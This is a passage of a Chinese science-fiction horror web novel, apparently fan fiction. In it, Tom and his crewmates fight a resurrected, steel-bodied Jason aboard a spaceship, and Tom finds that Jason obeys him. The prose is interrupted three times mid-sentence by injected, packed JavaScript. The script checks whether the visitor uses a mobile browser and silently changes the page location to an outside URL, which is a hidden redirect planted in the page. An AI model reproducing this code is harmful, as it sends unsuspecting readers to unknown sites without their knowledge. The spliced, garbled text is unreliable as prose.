l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764427|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姆在身后,不知道听了多少。 遭了,不会要哭了吧!?威兰德清了下喉咙,“呃,我不是那个意思......” 汤姆礼貌地笑:“没关系,我从没觉得香肠嘴会藏好东西。麻烦让让,挡到我捡笔了。”方才听到柏斯基的噩耗太震惊,不小心把笔丢远了。 威兰德麻溜地拽过库奇,腾出空地。确实有只外壳晶蓝的钢笔躺在地面。威兰德瞪着它,自觉真是被它害惨了!汤姆肯定在心里狠狠记了他一笔。 汤姆捡回笔,在他继续写遗书的时间里,博士向大家宣布:“各位,有救了!我联系好索拉里基站,他们准备了军队和医生。只要到了那儿,哼这个怪物没什么可怕的!”博士按下通讯,连接上飞船的驾驶舱,“小路,”小路是飞船的驾驶员。“还有多久到?” 小路让大家看窗。“瞧见那个三角形的光点没?就是它。快了,快了。” 舷窗外,基站的阴影越来越大,显露出它的身形。飞船将接入索拉里空间站。出于安全考虑,汤姆所在的葛伦戴号需要降速,对准接口。这都需要驾驶员的操作。 然而小路死了。杰森杀了他,把他当面包砍。飞船失控,横冲直撞,船身化成剑,刺穿索拉里空间站。室内闪烁电花,一记记亮得刺眼,飞船上下颠簸,把人摇晃得左右歪斜。纸飞出手心,笔不知道滚到哪个角落。汤姆顾不上辛苦写出的成果,牢牢抓紧操作台的栏杆,半边身体趴在上面,削减冲击力。台离地面有几尺高,甩飞出去,准是一顿骨折。 黑发被气流吹得狂散,他眼睫毛沾水似的糊成团,在微弱的缝隙中,看见同伴们一个个卧倒,电光滋滋,红橙的火球占据了窗户,仿佛他们正穿行岩浆洪流。 数分钟后,飞船恢复平稳。汤姆四下捡纸,好几张遍布焦痕,一摸满指头沾灰。大家相互搀扶着站起,无措地四顾,茫然呢喃着索拉里基站。汤姆朝窗一指。众人聚拢过去,陷入哑然。远处火光摇曳,碎片残垣散开来,宛如绕着火球旋转的小行星带。 “开玩笑吗?索拉里这么毁了?”威兰德不敢置信揉了又揉眼。 他们给索拉里带来了灾祸。远方的爆炸映衬在汤姆的眼睛里,绚丽的光将眼瞳染得通红。“索拉里不该这么毁了。” 绝望在空气里弥漫,堵住每个人的咽喉,人人感到咽喉无力,发声不得。博士最先平复好心态,风风火火地跳出来,两手指来指去,催促大家检查飞船的损毁状况,并自信满满地宣称:“这儿是交通要道,舰队经常经过,不愁救护!” “您确定出现的不会是下一个索拉里?”汤姆说。 博士瞪过来,嘴唇刚张,巨响从门口传来,实验室的墙壁顿时如胶冻,小幅度地晃个不停。尖叫起伏。汤姆心脏漏了一拍,把纸戳出个洞,耳膜发疼。男男女女的叫声合力勉强和敲门声打个平手。可想而知,得有多大的手掌,用多猛的力道,才能发出这样的大动静。 杰森!他追过来了!? 众人脸色惨白地后退,在门对面的落地玻璃前挤作一团,唯独汤姆逆着人群行动,站上操作台。显眼极了。 投注身上的眼神莫名熟悉,汤姆细瞧片刻,想起游戏上个周目里,自己常用它看杰森。“诶呀!收回你们不聪明的眼神!”汤姆提高了音量来辩驳,“那玻璃外是条走廊,很危险好不?杰森那体格,破个窗不是轻轻松松!?我看啊,你们也离它远点。” 汤姆觉得自己好明智,还告诫大家小心。“这东西在杰森面前和纸差不多。”他举起破纸,焦灰洒落,因举得太高,脸蛋撒了部分。 “嘭——” 故意捧场似的,几人宽的透明玻璃咔嚓迸裂。碎玻璃满天飞,高分贝的尖喊直冲天花板。众人哇哇大叫着跑开,抽空回了头,见着的场景令他们头皮登时炸起,恨不得立刻给脚插翅膀。 豁口七八尺高,亮出一道体魄壮硕的身影。手上的砍刀沾着血迹,白灯照去,刀面抹了油般,反射湿漉漉的光泽。 是杰森。和游戏里,杀人狂版的杰森没差别!高大、阴森,举止一板一眼,有种淳朴的笨拙感,但不妨碍他杀人利索。 杰森真的出现在现实了! 真见到杰森,汤姆的大脑一下空白,愣愣和杰森相望—— 等等,这好像是对视!? 汤姆惊得攥紧了手心。杰森在看他?杰森!看他!?不不不,是在打量快到嘴边的肉,瞧哪里好下手吧!不——也不对,杰森杀人不动脑,没这么优雅。难道...... “快跑啊!傻站什么!” 森纳朗的吼声瞬间震飞汤姆的思绪。汤姆这才发现其他人早哐哐跑得没影了,眨眼间,森纳朗也只留了个远远的背影。实验室就剩他和杰森。 汤姆倒吸一口冷气,踉跄要后退,刚抬脚,杰森跟着动。汤姆当即提了速,两三步走到台边跳下,落地没站稳,摇摇晃晃着朝门口冲。杰森箭步追来。庞大的身躯移动起来并不慢。 汤姆埋头狂奔的间隙,微侧头,便能瞄到他结实的身躯。虽然之前一直口口声声说自杀写遗嘱,但真到这时,生的欲望反倒高涨,盖过了一切。 不知道跑了几个拐角和走廊,仍没甩脱杰森,后者活脱脱像个小尾巴,死死缀在屁股后。汤姆感觉自己快喘不匀气了!发丝贴上湿哒哒的鬓角,肌肉酸痛,衣襟被跑步动作带得凌乱,汤姆呼哧呼哧着恨不得长出八条腿。罪魁祸首呼吸仍旧平稳,节奏根本没变! 想到游戏里被杰森追着杀就算了,回到现实后,居然还要被他追杀!汤姆委屈又生气,几乎有点崩溃地凶出声:“你烦不烦!!追我做什么!?滚开啊——我,呼——”没说几句,气喘不上来,把自己累得大口呼吸,再也跑不动了。停下来撑着膝盖直喘。“不跑了,不跑了!要杀就——” 杰森不在。 汤姆一下愣在原地,回忆着刚才的经历,思忖发生了什么。杰森人去哪儿了?放弃追杀他了?总不能是因为他叫杰森滚了吧哈哈——不是吧? 40.十三号星期五17 大家以为汤姆已遭遇不幸,沉默不语,气氛压抑得人人弯腰弓背,呼吸声一道比一道重。 汤姆进门时不自觉放轻动作,怕惊扰沉浸悲伤的众人。他还没意识到自己是致使消沉的源头,悄声嘀咕,“躲得可真隐蔽,让人一顿好找......呃,你们什么眼神?我难道不该出现在这?” 威兰德捶墙的手僵在空中,盯了几秒,“没、没看错吧!”他猛地揉眼睛。“汤姆!?”惊喜地扑过来,不顾汤姆露出的惊恐神色,凭借手长身高的优势,一把抱住好友。 预料之中的铁锤落下,拳拳砸到脊背。威兰德这混蛋脑筋直,对自己的力气没点分寸!汤姆痛苦得皱巴起小脸,伸手向笑个不停的朋友求救,“威兰德要害我!” 森纳朗和金凯笑着拉开威兰德,珍妮莎拽汤姆到中央,库奇、萝文、金莎绕着人打转了几圈,终于确认:汤姆全身除了汗水淋漓、衣衫凌乱,没有任何伤口! 他们一个个睁大了眼睛,直呼不可思议,“你是兔子吗汤姆!” 库奇眼里闪烁着好奇的光,不停挠下巴的胡茬:“传授点经验呗,怎么逃啊?” “对啊对啊。幸运儿,给点技巧把!”大家低头求教,萝文也瞥来一眼好奇的目光。 汤姆踢了脚甚至坐在地上抱住他一条腿的威兰德。“别耍无赖,起来。你们也是,抛开脑子里不切实际的期望!”他三言两语说完经历,提到杰森莫名的离开,纳闷中,汤姆心底有个模糊的荒谬的猜测,以至于语气略显怪异。“……所以咯,还不是想知道我为什么逃脱,”他朝门口抬下巴。“问杰森去。” 众人齐刷刷摇头,后退,贴上墙,特意避开窗。虽然玻璃外是一望无垠的星空。“就这样吗?”他们好失望,还以为是汤姆跑得快才逃脱,结果是杰森忽地善心大发?胡扯呢!但他们也摸不着头脑,便归结于怪物的特异脾气。 森纳朗神情复杂,感喟出大家的心声:“你小子真是命大……” 谁叫相较于其他死状百出的人,汤姆好运过头,只是狼狈点,颠覆了以往连发丝都一丝不苟的精致外形。倘若这算不测,上帝,让他们代替汤姆吃这个苦吧。让他们天天不洗澡,蓬头垢面都成!和命比起来,干净算什么。 威兰德嫉妒得红眼,上下打量汤姆,视线不自觉停留在格外优越的五官。这是副上帝偏爱的好外貌,也多亏了这脸,汤姆才能把哭招使得百试百灵。尽管看穿他装可怜的把戏,看在这张脸的份上,谁忍心苛责? “我明白了。”威兰德砸拳,嘭的响声让大家看来。他严肃着脸,语气宛若洞察真理,“嘿,那混蛋——”威兰德断定道,“八成是个基佬!” 沉默了几秒,珍妮莎恳求金凯帮忙,扇了不分场合说笑的同伴几巴掌。众人没把威兰德的话当回事儿。汤姆却一下子想到上个周目,以及灰掉的《与杰森谈个甜甜的恋爱》关卡。更多的沉思被博士的惨叫打断。 汤姆这才注意缺了人。博士怎么独自一人?汤姆明明记得自己跑前,博士已经和珍妮莎他们一起消失没影。“你们跑岔了?” 珍妮莎手指发抖地按住额头,骂了句:“该死!” 威兰德逃跑慌忙,刀落在实验室。博士怒不可遏,痛骂他一顿,提出要回去拿刀。他宝贝那把刀,仿佛是不可分割的命根子,其他人却明白,它顶多是个上了年纪的古物,哪里比得上命重要?没人愿意去送死,博士只好自己单独行动。结果显而易见,杰森捡到这个自投罗网的蠢货,用鲜血给他上了一课:别抱侥幸心。 “都叫他别回去了。他偏要去捡那把破刀。现在好了......”珍妮莎说不下去,捂着嘴,将泣音死捂在唇边。金莎安慰地抱她。 博士死了。汤姆觉得不能再被动下去,“我们得想办法杀了杰森。” 众人吃了一惊。“我们?”珍妮莎一脸惊讶。她指着自己,环扫一圈相处多年的朋友们,质疑的意思显而易见。但没人反驳,除了萝文是部队出身,目光直直看来,其他人都连连摆头,清楚自己斤两,抱头求汤姆别开玩笑。 珍妮莎说:“对上杰森,警卫队都没法子。而我们?我们最大的能耐就是写报告做实验,解剖的尸体跟死猪似的,就是这样,把它端上台还要累个气喘吁吁,胆小的还吓得做噩梦。” 森纳朗瞪了珍妮莎一眼。“说了多少次,我没做噩梦。” 珍妮莎耸耸肩,“随你怎么说。我有判断。总之让我们去应付一个活蹦乱跳的、巨山样的怪物?不如直接说,走,咱们找死去,来得直白简单!” 汤姆虚心地改口:“走,咱们找死去。” 众人默然无语。汤姆撇撇嘴,瞧,真说了,你们也不干。汤姆心底的嘀咕一顿,察觉到不善的视线,抬头见好友们眼瞳里放了把火似的,盯着自己。他们彷如在思考要不要像对威兰德那样,给这个好友顿教训。 汤姆赶紧说:“好啦。不要太紧张,我有点把握。到时候,我先去吸引杰森。他的注意在我身上,但凡不对劲,你们尽管跑。” 他要去验证心底猜测:杰森有记忆,至少,应该对他有点印象。最好的期望是杰森继承了上个周目的记忆。当然,如果猜错了......汤姆苦哈哈地想,不知道他这只送上门的羊够不够塞杰森牙缝。 当即异口同声地响起:“不行。” “你去?凭那个游戏!?”森纳朗说话大声起来,“你这是白白送死!没必要多出无辜的牺牲。” “没错,这太疯狂了。”珍妮莎坚决不同意。“我们做不到任你送死。” 什么送死!他明明有点把握,只要杰森记得他......好吧,确实是个赌徒行为,跟送死没差。汤姆泄气地说:“那我们就这等死?” “不。一定有办法,飞船应该有能利用的东西......”森纳朗突然灵光乍现:“......太空梭!飞船有太空梭。我们想办法弄到燃料,坐上它走人,留杰森和飞船去死。” 汤姆无情地截断其他人纷纷冒出光的眼神交流。“燃料哪来?去太空梭途中,杰森阻挠怎么办?” “赶在他出现前,大家分工,很快就能搞定。” 汤姆提醒道:“飞船只剩我们,杰森肯定会找来,到时候别没走成,反倒让他逐个击破。毕竟咱们加在一起都打不过,更何况分开?”他不禁感慨了句,“真勇敢啊。” 金莎浑身一颤,立马说:“不,我才不要分开!” 萝文皱眉:“那你不怕杰森找上我们,直接把大家一网打尽!” 汤姆挺起胸膛,自信摆摆手。“我有计划。” “有计划?”森纳朗狐疑地瞧着汤姆。“你说。” “我记得货舱储存了大把的武器。你们去装备上,我去吸引杰森的注意,把他引到一个地方。你们埋伏在那里,瞧见他就射击开炮。” 珍妮莎觉得计划漏洞百出,“你拿什么吸引杰森?” 汤姆不知道该说什么才好。局促的沉默片刻后,他道:“说不定那家伙真是个基佬。” 众人:“......” 想到汤姆似乎对杰森了解不少,尽管来源是个可笑的游戏,大家还是勉强决定信任他,半信半疑地开始行动。 他们进到货仓,里面有足以夷平月球的火力。大家沉重的面容立马焕然一新,嘴角咧开,快抵到耳根子。他们高高兴兴地佩戴,从头到脚,一个不落,力求全身武装上铁疙瘩。 枪炮弹,人手一支,摸着身上武器冰凉的钢制触感,人人舒出好长一口气。威兰德喜欢收集武器。他爱不释手地摸着锃亮的枪身,甚至亲了几口。这副姿态并不突兀。每个人都用瞧珍宝似的目光盯着手上的武器,来回看个不停。他们可算明白博士怎么会把刀视作宝贝。 威兰德拍了下枪管,唇角高高挑起,“要是这样,还能让他完好无损,我认了!” 萝文正校着枪,听到这话,视线从瞄准镜上错移开,见威兰德握枪,不断站起蹲下,四处移动,仿佛在演习,却跟个小孩一样。她没说什么,继续熟悉着许久未接触的枪,对汤姆的计划愈发不看好。 四百年后的火力有进步,但顶多和导弹齐平,当初都没杀死杰森,现在能行?萝文没把忧虑说出来。大家也选择性地遗忘了她曾说过,当局政府用过大规模的热武器。 中途,大家意外发现尚有气息的柏斯基。汤姆喜出望外,连忙和威兰德一起把人移到安全地方。回到货仓时,森纳朗刚改造完金凯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764428|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。机器人的身体强度翻了一倍,关节灵活,格斗不输职业军人。 他们找了间前后开门的船舱,一旦计划谬误,其他人可以从另一侧逃离。 一切准备就绪,汤姆独自走出门。船舱敞开着,同伴藏匿于柜桌后。前面是十字走廊,汤姆在分叉口站定,沉思片刻后,他干脆原地唤起杰森。免得自己走开后杰森从另一侧出现。 没等汤姆叫第二声,杰森在尽头出现。身后传来金莎哨子般的尖叫。耳边的通讯器响起萝文的威胁,“再叫,我扭断你的脖子。” 杰森望向汤姆身后。他显然听到了动静,直直盯着船舱。汤姆不认为杰森有脑子,会想到他们合作布下陷阱,但害怕杰森先冲去身后,汤姆连忙开口:“嘿,杰森。” 杰森看过来,眼神有如寒冰戳入胸口,汤姆四肢泛冷,怀疑自己是不是真想多了。之前在实验室,汤姆满脑子思绪没有认真看,现在才发现杰森的目光,和上个周目的温和全然不同,瞳孔死寂,瞧他跟瞧船舱一模一样。 完了完了,汤姆感觉自己马上就要步博士后尘了。但已经到了这个地步,他只能硬着头皮继续说:“很久没见。你......还记得我吗?” 杰森没说话,握着砍刀,步步走近。 “太久没见,你忘了吗?我是汤姆啊。”完蛋,不会真搞错了吧。“我们一起长大,分开后,我很想你......对了,帕米拉妈妈呢?” 母亲的名字一出,杰森顿住。汤姆眼睛一亮,正以为找着窍门,杰森继而又抬脚。眼见距离不断拉近,汤姆眉头竖起,急道:“够了,站住。”刚说完,心中哎哟叫着,语气好像太凶了!谁给你的胆子,这么对一个杀人狂说话啊!? 然而,杰森还真就停下。 汤姆不敢置信,回忆着刚才的语气,试探着命令道:“把刀丢下。” 杰森迟疑地举刀。有戏!汤姆眼睛闪亮,一眨不眨地目视杰森。杰森看了看刀,又瞧着汤姆,迟迟没有放下。 汤姆雀跃的心咔啪摔地。“丢下它!为什么不丢?” 杰森宛如木头不动弹。汤姆心提到嗓子眼,生怕杰森反应过来给他一刀,嘴里下意识吐出一连串话。“我让你丢刀,你愣着做什么!不听话了吗?多年不见,你就这样举着刀欢迎我?太让人寒心了!”话说得快,也不动脑,叽里咕噜的,汤姆都不知道自己在说什么。 “帕米拉妈妈知道你变成这样了吗?我太生气了,你变了,你以前不是这样的,杰森。我说什么,你都乖乖照做。可现在呢?你想害我?不然拿刀做什么!你明知道那刀杀了我多少次!这么喜欢那刀,你就滚吧,和它过一辈子去,别出现在我面前了……”天哪,他在说什么糟糕话。耳朵通讯惊呼声、抽气声不断,汤姆脸皮发热,两颊烫得可以煎鸡蛋。要是杰森真不记得他,要上来砍了他,汤姆只怕不会跑了,太丢人了,这番话杰森不回应,显得他好自恋哦。他没脸见人。 索性,杰森立刻把刀丢到一边。汤姆松了一口气,看这高个子的丑陋杀人狂顺眼了。“很好,把刀踢过来。”想起杰森的蛮力,汤姆补充,“轻点!轻点踢。” 杰森轻轻地,堪称是隔了空气碰刀。刀纹丝不动。 汤姆本想质问他是不是在开玩笑,但瞧着杰森的眼睛,忽然明白杰森的顾虑,“不用对准我,对着墙。” 杰森重新抬脚,刀猛地划过地面,飞向墙壁,半个刀身埋进去。 “好的,三,现在,你站那儿别动,我过来。二……” 汤姆缓缓走进,数道一,闪身躲进左侧走廊。大家从船舱内冒出身,子弹乱飞,火光四射,鸦群般扑涌向杰森,把他身上啄出一个又一个窟窿。 杰森步步后退,混乱中,半只手臂砸地。他通红的伤口令开枪上头的众人分出心神,低声感慨,原来怪物也会流血啊。 机枪打破墙壁,杰森仰倒,撞入复苏床。他撑起身,金凯和萝文打飞他的两腿,杰森单手撑着上半身,歪歪扭扭地要爬过来。他完全感受不到痛觉!好像不是他缺胳膊断腿,而是落了根小小的头发丝! 金凯眼神发狠,双手扣下扳机,连开数枪,打爆杰森的头,脑袋炸开,只留了曲棍球面具的下巴轮廓连着脖颈。 41.十三号星期五18 杰森成了具断手缺脚的死尸。发出的求救收到回复,援助飞船预计四十五分钟后抵达。葛伦戴号虽因横穿基站,多处破损,但核心部件与发动机完好,撑过这段时间不难。 只是当他们要给柏斯基用复苏床治疗时,发现之前击杀杰森时,火力强盛,把那片走廊、墙壁都毁掉。复苏床塌陷了一半,废墟里还有杰森的脑花和血骨。 幸好飞船备有药水。他们取来给柏斯基服用。人没醒来,脸色好歹红润了,呼吸也没那么微弱,此时在休眠仓沉睡。 一切似乎都在朝好的方向发展。 可是,汤姆不自觉地抚上胸口,有东西轻轻地压在心肺上,胸口堵得发闷。他辨不清原因,烦躁间,望着舷窗出神。 窗外黑幕寂寥、无垠,悉数收敛尽视线。人眼瞧不见头。一股被慑住的胆寒袭来,汤姆不由心口猛跳,脑海浮现出一双眼睛。 那双瞳孔反射不出丝毫光,幽深而冷酷。也只有拥有这样一双眼睛的人才犯得出将所过之处皆屠个干净的恶行。 杰森......真的死了吗? 光是想到这个问题已经令人头皮发麻。他感到脖子有游蛇窜过般,伸臂探去,摸到一手的鸡皮疙瘩。 威兰德高亢的声音传来,在这时刻将汤姆拉回现实。 “不死之身又怎么样,还不如一条命,至少死得干脆。瞧瞧最后的惨状,看着就恶心!” 威兰德皮带绑了两把枪,肩膀斜背的长枪随着走路晃荡,他精力旺盛和森纳朗高声说话。 其他人也在三两交谈。危机解除,他们早激动卸下枪弹,激光枪、炸药等在台前垒出土包。连萝文也挂上惬意的微笑,边按摩肌肉,边加入珍妮莎和金莎的嬉笑交谈。 轻松的氛围总容易感染人。汤姆打消方才疯狂的想法,安慰自己别胡思乱想。 杰森脑袋都分家了,死状多惨不忍睹!你瞧见了,绝无复活的可能。汤姆告诉自己,指腹用力碾过皮肤,并甩甩脑袋,想丢开不详思绪,耳旁突然传来一声唤。 “要一起去找点吃的不?”威兰德站在台后,身后同伴相继离开屋。 高高垒砌的武器盖到他的胸膛,一只斜插出的枪尖直指下巴。汤姆心头跳起,几乎要把这视作不详的征兆,应激跳起了。 威兰德纳闷的声音使得他冷静下来。“发什么呆。饿迷糊了?”方才只顾开枪,兴奋难耐,现在发现浑身酸痛,又累又饿。他猜想汤姆也是这样。 汤姆没心情吃饭。“谢了,不用。” 威兰德眼珠转了转,一屁股坐回椅上,改口冲门外喊:“我也不去了。森纳朗,帮我拿点水果。”得到回复后,他两腿一蹬。凳脚滑轮在光滑的理石面滚动。威兰德靠近汤姆,不怀好意般的笑着,“汤姆……你和杰森……”眼睛闪烁求知的光芒。 汤姆镇定自若。刚死里逃生时,大家已经就他和杰森的可疑关系进行过一次拷问、羞耻感消磨得差不多。“说过了,就是游戏那回事。” 威兰德凑得更近。“别这样嘛,兄弟,他这么听你话,肯定还有别的原因吧?”他用肩膀推搡汤姆。 “别的原因......像你说的那样,他是个基佬。”汤姆半开玩笑道。 威兰德怀疑汤姆在糊弄人,语气听来又不像。他抖了两下腿,不甘心地又将发问,走廊却忽响起脚步声。两人猛地扭头向门口。 近乎下一秒,珍妮莎、森纳朗和金莎连滚带爬地扑进门,脸色死白,汗珠直流,扒着墙或撑住膝盖,大口大口喘气。 汤姆和威兰德跳起来,几步凑上去搀扶。“发生什么?” 伙伴们的冷静全叫惊慌绊住了脚,没人解答。一时间,室内只有粗重急促的喘息声。 汤姆摸到森纳朗的衣物,入手濡湿,他低头看去,是血迹。“你受伤了?”汤姆有种不详的预感。 森纳朗喘着摇头。大家似乎经历了一场夺命的奔跑,无力说话,只是死死盯住门口。 “我去把门关上。”威兰德见状说。 “不。”森纳朗喊道,“金凯......还有萝文,她们在后面。” 正好印证这话。狭长的廊道传来两道奔跑的脚步声,急促、匆忙。 威兰德停下动作,却见金莎越过他,跑去门口。 “回来,金莎。”森纳朗连忙甩开汤姆的手,上前喝止。“别关门!” 汗水流入金莎的眼,她没管,执意关门。门缓缓要合拢。森纳朗一手拉住金莎,另一只手按下开关,然后将人扯开。 门重新打开。金莎泪流不止,哭叫着,疯狂挣扎。“放开,让我关门!我不想死!” 森纳朗死死抱住,安抚她:“不会,我们会活着。”他朝走廊催促,“快点!” 走廊脚步声闻讯加快。很快,两人进屋。萝文搀着金凯,一进门说:“我们逃的时候绕了路,一时半会儿,他应该找不过来。” “太好了!”珍妮莎叫道。 森纳朗却没有多少开心,他看到金凯脖子裂开,脑袋歪在一边,一只袖管空荡。他心疼不已,松开金莎,在实验室内翻找工具。 金莎立马跑到门边。直到门扉紧闭,她颤抖着舒出一口气,双腿卸力,倚门一屁股瘫坐下,埋怨的目光始终幽幽地望着森纳朗。 实验室只有一个出口,关闭后,彻底成了密闭空间。人群身上散发出的绝望气息充斥房间。威兰德黑脸白了一个度,质问:“到底发生什么事了!你们屁都不放一个,全哑巴啦?” 还能有什么致使大家不约而同地害怕。汤姆说:“那个他,是杰森?” 威兰德瞪着眼睛看来。汤姆在说什么胡话!怪物已经死了!他见到杰森的死状,凄惨又解气。 汤姆咬着牙,艰难道:“杰森活过来......”没说完,金莎尖叫一声,打断他,接着用崩溃的断断续续的话验证了他的猜想。 “怪物!我们根本就没杀死那个怪物!”金沙抓着头发,又哭又叫,泪水模糊脸蛋。“他还活着,现在要来找我们复仇了......库、库奇死了。我们逃不掉,谁都逃不了……” 森纳朗正维修机器人,听到金莎说的话,吼了句:“扯淡!” 鲜少爆发的脾气吓住金莎,她的泪水呆滞地留在眼眶,众人吃了一惊。 “金凯,你说,我们能逃脱吧?”森纳朗抱着最后一丝希望问。 机器人从不撒谎。“生还的可能性为12.6%。” “你也在胡扯!”森纳朗痛苦地喊,差点握不住电烙铁和螺丝刀。 威兰德握紧枪管,好似这样使他勇气无穷。“别丧气!活过来又怎样?各位,他死得可不简单,那副模样,婴儿都不如,站起来又怎么样?” 一直没说话的珍妮莎怒叫着打断。“你知道什么!闭嘴,蠢货。” 威兰德被吼得两眼发懵,不等他张唇反击,珍妮莎捂着脸,抽泣声从指缝传出。“蠢货,我们都是蠢货……为什么要放任杰森死在复苏床!” 复苏床让断臂再生,如同缝合伤口一样轻轻松松。在去食堂的途中,浑身钢铁的杰森出现,见不到几块皮肉,把人们吓惨了,直到库奇人头落地,滚过廊道,才理智回归,慌张逃跑。 武力最强的人金凯和萝文垫后。她们谨慎细心,临走前拿上枪,没曾想真的用上。跑过拐角时,珍妮莎余光注意到,所有的子弹擦过杰森身躯,仅仅闪出火花,全反弹开,没留下一丝划痕。 杰森怎么会活过来?回到实验室的珍妮莎百思不得其解,直至看到森纳朗用工具修补机器人的伤口,她忽地灵光一闪,反应过来。 “该死!纳米机器人修复了他的伤口。因为人体组织不够,还用金属替代。现在可好,杰森真成了钢铁之躯!” 比起恐惧,汤姆心里更多的是一种不详成真的踏实。但是接着想到杰森活过来,会随之而来的杀戮,他不由脚步一晃,往旁跌去,腰磕上钢台,凉意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764429|127772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渗过衣物从脊椎蔓延至上。 珍妮莎吼完,冷静不少,抱着自己坐在角落。威兰德手扯了下枪带,把长枪抓到胸前,不停踱步。“没有法子了吗?我们难道要等死。” “不然呢?”森纳朗已经恢复平静,他抱住金凯,似乎要抓紧最后一刻亲热。 金凯脖子的伤已经修理完成,只是缺乏皮肤的材料,边缘电线裸露。缺的一只手臂也找不到东西补上。森纳朗苦涩地笑,只怕以后也没机会为她补上手臂。 萝文默默无语地看着窗外。实验室里偶尔响起金莎的抽泣,还有威兰德走来走去的声音。突然脚步声停住。 汤姆还在揉着麻疼的腰肉,没反应过来,眼前便冒出一个威兰德,满眼希冀地望着自己,“汤姆,你肯定有办法!之前杰森那么听你的话。他还会再听你对不对?你能阻止他。” 汤姆不敢保证,“我不知道。而且,我才骗了他......” 金凯忽然出声:“90%,”她从森纳朗的怀抱里探出头,看着汤姆,“如果是你来阻止,我们生存的几率将大幅度上升。” “真的吗!”大家难以置信地说。 “为什么?”汤姆问。 “你知道的,他喜欢你。”金凯浅浅一笑。她从不怀疑人类感情的神奇。连冰冷无情的怪物都会因爱情,学会怜惜,变得听话、小心翼翼。之前遇上杰森,她主动留下来垫后,不是因为写进程序里的保护,是她私心有要保护的人。 汤姆摇头说:“可那只是游戏里,不是现实。”就算他再迟钝,从游戏出来,看到灰掉的恋爱关卡,也明白过来杰森抱有的心思。但问题是,那只是游戏。 “你能确定,他没见过你?” “他上哪儿见我?他来自四百多年前,出生时,我老老老祖宗连坯胎都没影呢!” “砰——” 巨响从实验室内唯一的门上响起。拳头的轮廓在铁门上突显。金莎吓得尖叫,四肢失力,只能在地上发颤。大家慌忙朝门的对侧跑,紧贴着墙。 “砰——” 见门上的痕迹越来越清晰,汤姆打抖着也要后退。腿后传来阻力。他扭头一看,差点气笑,恐惧都消失了。“你们干什么?” 威兰德抱住汤姆的腿,哭嚎:“对啊,他们干什么呢!我先来的!” 不知什么时候,除了还在门附近的金莎,其他人全躲在汤姆身后。汤姆小身板后揣了好几个人。萝文竟然也在。 “你也信他们的话?”汤姆不解地说。萝文应该很熟悉杰森,就该清楚,他们不可能有什么过往。 “他对你很特殊。”萝文说,“我从没见过他听人话。除了他母亲。你是第二个。汤姆,你该自信点。” 其他人连连点头,鼓励汤姆:“靠你了!” “砰砰——”又是几拳头,还有一声喀嚓脆响。 汤姆无暇顾及身后的伙伴,转回头,见门已经裂开大洞。一双钢手伸出,扒着两侧,轻轻一用力,门碎成两半,露出杰森的身影。 身后有催促声。“上,汤姆。” 汤姆没好气地说:“滚。闭上嘴巴躲好。”他打量着杰森,发现珍妮莎说的半分不假。 杰森焕然一新。不再是那个穿着旧夹克和工装裤,有时看上去还有几分憨傻的男人。他半个身体覆盖金属,脸带白钢面具,标志的曲棍球面具不见踪影。实验室的灯光一照,浑身泛出银色的光泽,没有接触都能感受到那股钢铁的寒意。 汤姆感到杰森的那双眼睛正盯着他。应该说点什么。汤姆张了张干涩的唇,却什么也吐不出来。 杰森开始移动,抬脚要朝汤姆走去,却听一声尖叫。 好不容易挪开门几米远的金莎捂着嘴巴,绝望地见杰森被她吸引过来。她想爬起,双腿不听使唤,身体肌肉没了知觉似的,无法逃开。金莎泪水直流,恨自己不争气,刚才见杰森动弹,怎么就不禁叫出来! 杰森砍刀将落。 42.十三号星期五(完) 杰森砍刀将落。 “等等!”威兰德大吼一声。汤姆的呵斥卡在喉咙里,看着威兰德冲出,还没眨眼,人已经蹿出几米远。他边跑边喊:“汤姆!” 顷刻间杰森顿住了。威兰德大受鼓舞,“你不想要汤姆么?” 但当杰森真的收刀,转头看来,威兰德双唇倏然失了血色,支支吾吾着:“他,他在这......”他向汤姆求救看来。 汤姆心里为威兰德的安慰担忧,知道没时间犹豫,拍开其他人推搡肩膀的手,他站出来。 “杰森。”汤姆轻声呼唤,“看我。”杰森果真看来,目光如炬,发出慑人的寒光。 汤姆朝他走去,步子迈得小。他不知该说什么才好,也担心杰森回忆起欺骗要报复回来。他得好好考虑措辞。 威兰德怕他走得太慢,杰森转变念头去杀金莎,忙拉住汤姆,几乎拽着人走。 和杰森的距离立马拉进,只有一臂之遥。汤姆脑海发懵。该说什么!没想好啊! 威兰德在他耳边留下句抱歉,使力推了汤姆一把。他不敢靠近杰森。 汤姆哎哟一声往前扑,就要摔地。杰森单手把他拎起来。 汤姆双脚凌空,脸蛋一下涨红了。他妈的。他怒不可遏,遥遥冲威兰德比了个中指。 威兰德歉意地高声回复:“对不起汤姆对不起!呜呜……”一边惊慌飙泪,一边扶起金莎冲出大门。 其他人机灵地纷纷照做,动作敏捷,贴着墙,哐哐哐三两步跑过汤姆和杰森,速度比流星还快!这时,他们万分庆幸杰森的身形庞大。穿过破门变得容易。 